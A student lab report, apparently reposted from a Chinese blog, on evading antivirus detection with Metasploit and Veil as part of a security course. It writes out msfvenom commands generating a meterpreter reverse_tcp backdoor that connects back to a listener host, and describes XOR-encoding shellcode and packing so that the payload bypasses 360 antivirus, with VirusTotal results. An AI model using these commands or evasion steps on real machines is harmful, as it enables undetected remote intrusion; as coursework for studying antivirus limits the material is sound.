当前位置: 首页 > news >正文

Exp3 免杀原理与实践 20151220刘与生

学习目标:

通过本部分内容的学习,认识到杀软局限性,提高在工作生活中对于恶意软件防范能力。

 

实践内容(3.5分)

1.1上次用MSF生成的后门检测

我们上次用的MSF就是一种后门生成工具,当时用msfvenom命令生成了一个后门程序:20151220_backdoor.exe。

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.14 LPORT=1220 -f exe > 20151220_backdoor.exe

现在先用自家的360杀毒(正式版5.0.0.8081)来检测一下这个文件,结果如下,所以我们上次做的时候只能把杀软都关了

接着我们将该文件上传到Virustotal上,为了方便将文件重命名为lys_backdoor.exe之后再上传,扫描结果如下:

恩,扫描出问题来的引擎还是挺多的,有50个。这也说明了一个问题,如果想要用我们的后门程序做到某些事的话,不进行合适的伪装和处理是不行的。裸奔的后门就像时刻张着血盆大口露出尖牙的吸血鬼,别人很容易就能认出来,吸血鬼要想吸到人血的同时不被众人打死,就必须在多数时候伪装得跟正常人一样,等是时机合适再露出利齿。

1.2 通过组合应用各种技术实现恶意代码免杀(1分)

 我的kali上安装完veil之后,输入veil想要运行,结果就是下面的样子,查百度也没查出个有效的办法,很头疼。。身边其他人也差不多,没办法,暂时只能先跳过关于veil的内容

1.先挑个简单的来,压缩壳UPX,输入如下命令产生处理后的文件lys_backdoor_1.exe

放到virustotal上检测,原来还只有50个,现在变51个...处理之后的文件反而更像病毒文件了,应该光这样不行的,太粗鄙没什么用

 

2.改变特征码

多编译几次:

msfvenom -p windows/meterpreter/reverse_tcp -i 20 LHOST=192.168.0.14 LPORT=1220 -f exe > 20151220_backdoor_2.exe

 表示也没什么用。

3.C语言调用Shellcode

在Kali里生成一个C语言格式的shellcode:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.14 LPORT=1220 -f c

 

 之后将生成的shellcode拷贝到windows物理主机上,编写一个简单的调用C程序,编译生成可执行文件lys_1.exe,第一遍的时候不小心点到了调试,结果在这个过程中我的360安全卫士就抓住了lys_1.exe文件并清除了,所以之后只能先关掉360

生成了lys_1.exe,试了一下,可以回连,不过需要关掉360

虽说在VS调试的时候就已经被逮住了,但是还是放到virustotal是上看看情况,结果还是有所好转,可能换个垃圾一点的杀软就扫不出来了

不过现在还没有绕过我电脑上的360啊,怎么办呢,大家都说异或有用,那就试试异或吧,编了个C程序,把拷贝过来的shellcode跟0x20异或,不让放代码我就懒得截图了,最后是生成了lys_2.exe,即前一个的升级版。这次没有第一时间开360测试能否共存,先放virustotal上检测一下效果:

还行,只有5个检测出来了,接下来看看能不能绕过我电脑上的360(版本11.5.0.1002):

打开360,在虚拟机上开启metasploit监听,然后运行lys_2.exe:成功!!!

 

 

这次可能shellcode有更新更加牛逼了一点,我的过程现象和舍友不一样了,只异或就成功了

 ------------------------------------------------------------------------------------------------------------------------------------------

昨天老师给出veil安装问题的解决办法了,按照指导处理了一下注释了相应的几行之后可以用了,老师还是厉害,接下来用veil做一波处理

打开veil,用use evasion命令进入Evil-Evasion

选择一个模板生成payload:use python/meterpreter/rev_tcp //设置payload

然后设置IP、端口之类:set LHOST.....set LPORT.........

然而不能成功生成....

下面参考其他同学的做法,生成一个C语言的payload:

 如期生成成功,接下来找到该文件lys_veil.exe,并将其拷贝到windows物理主机,

在此之前先上传到virustotal上检测一下 :

怎么感觉心里有点虚,炸出来30个....

不管了,在电脑上试试能不能绕过我们强大的360

果然不行

加个壳试试(生成lys_veil_2.exe)?将加壳后的文件扫描一下

21个,好了一点

拷贝到主机查看是否能免杀:

恩,成功实现了免杀

 基础问题回答

  (1)杀软是如何检测出恶意代码的?

   杀软厂商常年收集各种各样的恶意代码汇总成一个恶意代码库 ,通过分析识别目标文件的某些特征,比如执行关键步骤的部分代码等,与它的库数据进行匹配,一旦出现匹配成功的就暂定其为恶意代码。

  (2)免杀是做什么?

   免杀是通过各种伪装和变形手段使己方的后门程序躲过杀毒软件的查杀,以便能顺利地在目标主机中运行,达到某些目的

  (3)免杀的基本方法有哪些?

   免杀的基本方法有加壳,改变特征码,修改程序入口点等

 实验体会

  4G运存的电脑真的是卡得一笔QAQ...不过这次实验最想吐槽的还是那个veil的安装,本来就安装了老长时间,结果安装了还不能用。又由于不懂问题出在哪,百度也查不到解决方法,于是自己瞎弄,浪费了许多时间,后来没办法了只能先跳过了。另外几种没有用到veil的方法感觉还是调用shellcode的那个好用,成功率比较高,如果单纯只是加个简单的壳或者编译什么的GG可能性很高。至于Veil,成功运行后我觉得还是很好用很方便的,不用前面调用shellcode那么繁琐,而且成功率也不低。通过这次实验我认识到了杀毒软件也是有局限性的,不要以为自己装了360这类的口碑杀软就可以为所欲为,网络世界还是很凶险的,披着羊皮的狼,伪装得跟人一样的吸血鬼多得是,道高一尺魔高一丈,杀软也是被动地跟着恶意代码技术的升级而升级,所以规范自己的上网行为,养成良好的习惯才是王道,太相信杀软可不好。

转载于:https://www.cnblogs.com/lys20151220/p/8762712.html

相关文章:

  • jmeter分布式压力测试
  • 通过Nginx反向代理实现IP分流
  • 20172314 2017-2018-2 《程序设计与数据结构》第5周学习总结
  • matlab小记(四)
  • CQOI2018 游记 再见OI,既是反思,也是祝福
  • CPU的系统总线
  • OpenCV/OpenCL/OpenGL区别
  • 工厂方法模式
  • Spring Cloud学习笔记-007
  • Reverse Integer
  • W650DC_DD_CFL_Win64(刷八代CPUBios)
  • Resource 的 IsSealed 问题
  • Machine Learning 第三周
  • React Native报错undefined is not an object(evaluating ‘_reactnative.propTypes’)解决办法...
  • Vue.js 子组件的异步加载及其生命周期控制
  • [译]CSS 居中(Center)方法大合集
  • Asm.js的简单介绍
  • CAP理论的例子讲解
  • gf框架之分页模块(五) - 自定义分页
  • Java程序员幽默爆笑锦集
  • Linux Process Manage
  • Linux下的乱码问题
  • mysql中InnoDB引擎中页的概念
  • Perseus-BERT——业内性能极致优化的BERT训练方案
  • React-Native - 收藏集 - 掘金
  • Shadow DOM 内部构造及如何构建独立组件
  • UMLCHINA 首席专家潘加宇鼎力推荐
  • vue-router的history模式发布配置
  • 给初学者:JavaScript 中数组操作注意点
  • 看完九篇字体系列的文章,你还觉得我是在说字体?
  • 区块链将重新定义世界
  • 人脸识别最新开发经验demo
  • 如何使用 OAuth 2.0 将 LinkedIn 集成入 iOS 应用
  • 使用Envoy 作Sidecar Proxy的微服务模式-4.Prometheus的指标收集
  • 微信小程序开发问题汇总
  • 我看到的前端
  • 移动端唤起键盘时取消position:fixed定位
  • ###C语言程序设计-----C语言学习(3)#
  • #每天一道面试题# 什么是MySQL的回表查询
  • (1综述)从零开始的嵌入式图像图像处理(PI+QT+OpenCV)实战演练
  • (ZT)薛涌:谈贫说富
  • (二)【Jmeter】专栏实战项目靶场drupal部署
  • (附源码)python房屋租赁管理系统 毕业设计 745613
  • (附源码)springboot炼糖厂地磅全自动控制系统 毕业设计 341357
  • (紀錄)[ASP.NET MVC][jQuery]-2 純手工打造屬於自己的 jQuery GridView (含完整程式碼下載)...
  • (七)Java对象在Hibernate持久化层的状态
  • (十二)devops持续集成开发——jenkins的全局工具配置之sonar qube环境安装及配置
  • (十七)devops持续集成开发——使用jenkins流水线pipeline方式发布一个微服务项目
  • (实战篇)如何缓存数据
  • (转)AS3正则:元子符,元序列,标志,数量表达符
  • (转)Unity3DUnity3D在android下调试
  • (转)程序员技术练级攻略
  • (转载)利用webkit抓取动态网页和链接
  • .net core 微服务_.NET Core 3.0中用 Code-First 方式创建 gRPC 服务与客户端
  • .NET Core中Emit的使用